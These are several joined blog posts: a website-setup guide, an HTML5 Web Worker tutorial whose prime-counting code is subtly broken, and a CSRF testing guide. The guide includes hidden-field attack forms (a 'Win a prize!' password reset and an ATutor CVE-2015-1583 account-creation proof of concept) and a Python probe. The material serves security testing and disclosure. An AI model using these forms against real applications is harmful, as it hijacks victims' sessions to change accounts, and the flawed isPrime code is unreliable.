Website Considerations: Guide on Setting up a Website

Recently I had helped a local business set up their informational static website. In the process, there were a lot of doubts in the owner’s mind. So in this post, I will attempt to lay out the foundation of what it takes to start a website.

Here is an overview of the post.

  1. Identifying the purpose of your website
  2. Choosing your web designer/web developer
  3. Choosing your domain name
  4. Choosing your hosting
  5. Legal aspect
  6. Setting up the actual website

Identifying the purpose of your website

The term website is generic. When setting up one, you will need to know if your website provides only information or does it provide a service.

If all it does is to provide information, then all you need is HTMLCSS and Javascript shall suffice.

If it provides a service then most likely we are looking at the development of a web application. Web applications are very complex and requires more planning. This may include the types of technologies required or the type of data you are planning to store. It also varies from the kind of service you are providing; we will discuss this more in the next section.

Choosing your web designer/web application developer

If you are planning on creating an informational website, then a web designer with knowledge of web designing and web development is sufficient.

It is important to communicate with your developer to ensure that they know exactly what you want. An example would be to inform your developer to pay attention to desktop/mobile compatibility, as this is one of the key factors of user experience. It is also best to discuss your ideas face to face with your developer to prevent misunderstandings.

If you are planning on creating a web application, besides web designing, you will require someone with the knowledge of web application development. There are many aspects to discuss such as the database, feature, functionality and backup. There is also another huge category of security, where the developed application should be tested before launching. This is also known as penetration testing. You would not want your customer’s data to be on HaveIBeenPwned. In addition, you should also think ahead of time for the maintenance of the server. If possible, request a network diagram as shown below to get a clearer picture of how the overall layout will be. This diagram could also help save the next maintainer from some frustration. For the same reason, request the codes to be documented.

This diagram could also help save the next maintainer from some frustration. For the same reason, request the codes to be documented.

Alternatively, there are Content Management System(CMS) which developers can build on.

WordPress and Drupal are just two of many CMS that are popular. They are sort of like a framework with plugins to enhance the website. You might want to check this out.

Choosing your domain name

A domain name is used to identify your website. For example, the domain name of this site is edricteo.com. Your domain name will be assigned to an IP address, which is most likely your web server. When a customer types your domain name in the URL bar, it queries a DNS server which then resolves the domain name to your IP address allowing the browser to find your website.

Choosing a good domain name isn’t easy. It has to reflect your service and at the same time be Search Engine Optimized (SEO). Before you go right into purchasing a domain name, consult someone with experience in this field.

Choosing your hosting

You can choose to host your website locally (if you have office space) or remotely using Cloud Hosting. I recommend cloud hosting since you won’t have to deal with physical security even though it is slightly pricier. There are many cloud hosting providers online namely Amazon Web Services (AWS)Microsoft AzureDigitalOcean(aff link) and RamNode(aff link). They each have their pros and cons. Here are some pointers that will guide you in the right direction:

  • Whether the service you are providing breaks the Terms of Service of the hosting provider
  • The amount traffic are you expecting
  • Network stability
  • Pricing
  • Uptime

I recommend RamNode since I have been using their service for smaller projects and I have no problem with them.  Alternatively, you could also look into shared hosting.

The business of Shared Hosting is very competitive thus for small-medium businesses; a shared hosting is probably the best choice. Do keep in mind that they share resources of a physical server to support hosting for multiple websites.

This is a double-edged sword.

It may be cheaper than dedicated hosting but if a website is hogging up the server resources, then it may affect your site speed and may be penalised by Google.

For a simple informational website, you might just want to include a disclaimer stating that you are not responsible for the usage of the content.

For a web application/service, there are a lot more to consider such as Terms of servicePrivacy Policy and Cookie Policy. Since this concerns the business directly, it is best to consult a lawyer experienced in the field of IT.

Setting up the actual website

An informational website could be set up within a day. Whereas an application could take up to several weeks or months to be deployed.

Request that whoever is setting up your infrastructure to document every single step/information he encountered. By doing so, it allows you to troubleshoot quickly if any mishap occur.

If the application isn’t stable, let your users know that it is still in beta phase. This way they will be expecting errors.

Images:
https://upload.wikimedia.org/wikipedia/en/1/12/Sample-network-diagram.png
http://thewindowsclub.thewindowsclubco.netdna-cdn.com/wp-content/uploads/2012/07/Understanding-How-DNS-Lookup-Works.png

Web Worker Tutorial: A Guide in Using HTML5 Web Workers

I decided to come up with a web worker tutorial because while working on a project which requires the creation of NRIC(a citizen identifier used in Singapore, similar to social security number in the USA), I noticed that the UI freezes during the generation process.

This occurs because during the generation process, the UI thread is being used to generate the NRIC, resulting in the freezing of UI.

I looked into JavaScript “multi-threading” and web workers showed up most of the time.

With web workers, a second thread is used to handle the processing and therefore the UI does not freeze up.

Note: Since blob is used in this tutorial, you are required to use a web server in order for this example to work.

In this tutorial, we will be creating a program that will accept a value denoted by the variable maxNum which will be the upper limit.

Next, find the number of prime numbers that exist between **** and maxNum.

We will first create a template for our example.

<img style="width: 200px;" src="http://sierrafire.cr.usgs.gov/images/loading.gif" />
<button>Click me</button>

<script id="worker-js">
//some script
</script>
<script>
function main(){
//some function
}
</script>

The template above is pretty straight forward. We have a loading gif at line 4 (if the gif no longer exist in the future, feel free to use your own gif).

The gif file be used as a proof of concept that web worker is using a different thread. There are also two script tags starting on line 4 and line 7.

First, we will be working on the first set of script tag by referencing it to the main script.

<script>
    function main() {
        var workerJS = document.getElementById("worker-js").innerText;
        var blob = new Blob(\[workerJS\]);
        var blobURL = window.URL.createObjectURL(blob);
        var worker = new Worker(blobURL);

        worker.onmessage = function(event) {
            //event.data is value returned from the worker
        }
        worker.postMessage(100000);
    }
</script>

The value at line 11 will be the value for maxNum as mentioned earlier. In this case, we will be passing the value of 100000.

Now we will have to receive the integer on our worker, process it, and return the counter value to the main script.

<script id="worker-js">
    this.onmessage = function(event) {
        var maxNum = parseInt(event.data);
        var counter = 0;

        for (var i = 0; i & lt; maxNum; i++) {
            if (isPrime(i)) {
                counter++;
            }
        }
        postMessage(counter);
    }

    function isPrime(n) {
        for (var i = 2; i < n; i++) {
            if (n % i == 0) {
                return false;
            }
            return true;
        }

</script>

At line 3, we are accessing the integer by calling the data event.data and assigning it to the variable maxNum.

The isPrime function from line 14 to line 20 accepts an integer and return a boolean.

At line 6 to line 10, we will iterate the for loop from 0 to maxNum, checking if the integer is a prime number. If the integer in check is a prime number, we will increase the counter value by 1.

At line 11, we will then post this value back to the main script.

<script>
    function main() {
        var workerJS = document.getElementById("worker-js").innerText;
        var blob = new Blob(\[workerJS\]);
        var blobURL = window.URL.createObjectURL(blob);
        var worker = new Worker(blobURL);

        worker.onmessage = function(event) {
            var output = document.getElementById("result");
            output.innerHTML = parseInt(event.data);
        }

        worker.postMessage(100000);
    }
</script>

Lastly, we have added line 9 and 10 to display the returned value.

That’s it!

We have successfully implemented web workers into our program.

If you were to click the button, the gif will continue running while the number of prime number is being generated.

However, do remember that you are required to use with a web server in order for this example to work!

Cross-Site Request Forgery (CSRF) Testing

What is CSRF?

Cross-Site Request Forgery (CSRF) is a type of vulnerability that happens when an application accepts a form request without validating its source. Or in another words, it is an attack that tricks a user into performing unwanted actions on a web application where they’re authenticated. The attacker crafts a malicious request and deceives the victim into sending it, leveraging their active session with the target application.

This is also sometimes known as session riding (note that the word riding is used instead of hijacking). It is a different vulnerability from SQL injection.

Why is CSRF Testing Important?

CSRF vulnerabilities can lead to unauthorized actions being performed on behalf of authenticated users, potentially resulting in:

  1. Unauthorized fund transfers
  2. Password changes
  3. Data theft or manipulation
  4. Account takeovers

Testing for CSRF is crucial to prevent these scenarios and protect your users.

How to test for Cross-Site Request Forgery (CSRF)

1. Identify Sensitive Actions

Start by mapping out all the sensitive actions in your application that could be targets for CSRF attacks. This step is crucial as it forms the foundation of your testing strategy.

  • Form submissions: Look for forms that change user data, system settings, or perform critical actions. Examples include:
    • User profile updates
    • Password changes
    • Email preference settings
    • Fund transfer forms in banking applications
  • State-changing GET requests: While less common, some applications use GET requests for state changes. Look for URLs that perform actions like:
    • Logging out users: /logout
    • Deleting items: /delete-item?id=123
    • Changing settings: /toggle-feature?feature=dark-mode&state=on
  • AJAX calls that modify data: Examine your JavaScript code for AJAX requests that send data to the server. These might include:
    • Adding items to a shopping cart
    • Submitting comments or reviews
    • Updating user preferences in real-time
  • API endpoints: Don’t forget about API endpoints that might be called from mobile apps or single-page applications (SPAs). These are often targets for CSRF attacks.

Create a comprehensive list of these sensitive actions, noting their URLs, HTTP methods, and any parameters they accept.

2. Analyze Request Patterns

For each sensitive action identified, perform a detailed analysis of the associated HTTP requests. This will help you understand how the application handles these actions and what protections might already be in place.

  • Method: Note whether the action uses GET, POST, PUT, DELETE, or another HTTP method. Remember that GET requests are generally more vulnerable to CSRF as they can be easily triggered by image tags or iframes.
  • Headers: Pay attention to custom headers, especially those that might be used for CSRF protection or authentication. Common ones to look for include:
    • X-CSRF-Token
    • X-Requested-With
    • Origin
    • Referer
  • Parameters: Document all parameters sent with the request, both in the URL (for GET requests) and in the body (for POST requests). Note any that look like they might be CSRF tokens.
  • Cookies: Examine the cookies sent with the request. Look for session cookies and any that might be related to CSRF protection.

Example analysis for a password change request:

POST /api/change-password HTTP/1.1

Host: example.com

Content-Type: application/json

X-CSRF-Token: a1b2c3d4e5f6g7h8i9j0

Cookie: session=abc123; csrftoken=a1b2c3d4e5f6g7h8i9j0

{
"newPassword": "securePass123!",
"confirmPassword": "securePass123!"
}

In this example, we see:

  • Method: POST
  • Custom header: X-CSRF-Token
  • Two cookies: session and csrftoken
  • JSON payload with two parameters

3. Check for CSRF Protections

Now that you’ve analyzed the requests, look for existing CSRF protections. Understanding what’s already in place helps you identify potential weaknesses and areas for improvement.

  • CSRF tokens:
    • Check if unique tokens are included in forms or as custom headers in AJAX requests.
    • Verify if these tokens are validated server-side.
    • Test if the same token can be reused for multiple requests or if it’s rotated.
  • SameSite cookie attributes:
    • Inspect the Set-Cookie headers in responses.
    • Look for SameSite=Strict or SameSite=Lax attributes.
    • Note that SameSite=None requires the Secure flag and doesn’t provide CSRF protection.
  • Custom headers required for state-changing requests:
    • Some applications require custom headers that are difficult to set in cross-site requests, like X-Requested-With: XMLHttpRequest.
      Test if these headers are actually enforced server-side.
  • Referer and Origin validation:
    • Check if the server validates the Referer or Origin headers to ensure requests come from the same site.
  • Double Submit Cookie:
    • Look for implementations where a token is sent both as a cookie and as a request parameter or header.

4. Craft Test Cases

Based on your analysis, create test cases that attempt to perform the sensitive actions without proper CSRF protections. Your goal is to simulate how an attacker might craft a malicious request.

  • Remove CSRF tokens:
    • Try submitting forms or sending AJAX requests with the CSRF token removed.
    • Test with an invalid or expired CSRF token.
    • Attempt to use a valid CSRF token from a different user’s session.
  • Send requests from a different origin:
    • Create a simple HTML page on a different domain that submits a form to your target application.
    • Use JavaScript to send AJAX requests from a different origin.
    • Test with and without the headers.
  • Modify or omit custom headers:
    • If the application requires custom headers, try sending requests without these headers.
    • Attempt to spoof these headers in cross-origin requests.

Example test case for a password change form:

<html>
<body>
<form action="https://example.com/api/change-password" method="POST">
<input type="hidden" name="newPassword" value="hacked123">
<input type="hidden" name="confirmPassword" value="hacked123">
<input type="submit" value="Win a prize!">
</form>
</body>
</html>

5. Automate Testing

While manual testing is valuable, automating your CSRF tests can help you cover more ground and integrate security testing into your development pipeline.

  • OWASP ZAP’s CSRF Scanner (Free):
    • Enable the CSRF Scanner in OWASP ZAP.
    • Use ZAP’s spider to crawl your application and automatically test for CSRF.
    • Examine the alerts generated for potential CSRF issues.
  • Burp Suite’s CSRF Scanner (Pro):
    • Use the built-in CSRF Scanner in Burp Suite Professional.
    • Configure it to test all forms and state-changing requests.
    • Review the results and validate any potential CSRF vulnerabilities it finds.
  • Custom scripts:
    • Develop Python scripts using libraries like requests to automate CSRF tests.
    • Integrate these scripts into your CI/CD pipeline for continuous CSRF testing.

Example Python script for testing CSRF:

import requests

def test_csrf(url, data, headers=None):
    session = requests.Session()
    
    # Perform a GET request to obtain any necessary cookies
    session.get(url)
    
    # Attempt the action without CSRF token
    response = session.post(url, data=data, headers=headers)
    
    if response.status_code == 200 and "success" in response.text.lower():
        print(f"Potential CSRF vulnerability found at {url}")
    else:
        print(f"No CSRF vulnerability detected at {url}")

# Example usage
test_csrf(
    "https://example.com/api/change-password",
    data={"newPassword": "test123", "confirmPassword": "test123"},
    headers={"Content-Type": "application/x-www-form-urlencoded"}
)

6. Manual Testing

Complement your automated tests with thorough manual testing. This allows you to catch nuanced vulnerabilities that automated tools might miss.

  • Create simple HTML pages:
    • Develop a set of HTML pages that attempt to exploit potential CSRF vulnerabilities.
    • Host these pages on a different domain to simulate a real attack scenario.
  • Test with different browsers:
    • Some CSRF protections might work differently across browsers.
    • Test your pages in Chrome, Firefox, Safari, and Edge to ensure comprehensive coverage.
  • Verify the impact:
    • For each successful CSRF attempt, document the exact impact.
    • Determine what actions were performed and what data was changed.
    • Assess the severity of the vulnerability based on the potential real-world impact.
  • Test login CSRF:
    • Create test cases for login forms to check for login CSRF vulnerabilities.
    • Attempt to force a victim to log in as an attacker-controlled account.
  • Check multi-step processes:
    • Some applications use multi-step forms for sensitive actions.
    • Test each step of these processes for CSRF vulnerabilities.

CSRF on ATutor LMS (CVE-2015-1583)

Here are screenshots of an actual CSRF vulnerability that I discovered in ATutor CMS.

You could see that there are only two users.

This is the exploit which the attacker have to trick the legitimate administrator to execute.

The button is just a form request without any random tokens.

Here is an example of the exploit.

<form action="http://127.0.0.1/atutor-2.2/ATutor/mods/_core/users/create_user.php" method="POST">
    <input name="form_password_hidden" type="hidden" value="ef0f8b6ffb699f90933a3321b00ff6769e018b94" />
    <input name="login" type="hidden" value="csrfuser99" />
    <input name="email" type="hidden" value="[email protected]" />
    <input name="private_email" type="hidden" value="1" />
    <input name="email2" type="hidden" value="[email protected]" />
    <input name="first_name" type="hidden" value="csrfuser99" />
    <input name="last_name" type="hidden" value="csrfuser99" />
    <input type="hidden" value="3" />
    <input type="hidden" value="Save" />
    <input type="submit" value="Submit request" />
</form>

Upon clicking the “Submit request” button, you could see that a new user is created. This means that we have successfully exploited the vulnerability.

Want to find out more on using sqlmap (open source tool for finding SQL injection)? You can read more at my sqlmap tutorial.

Feedback?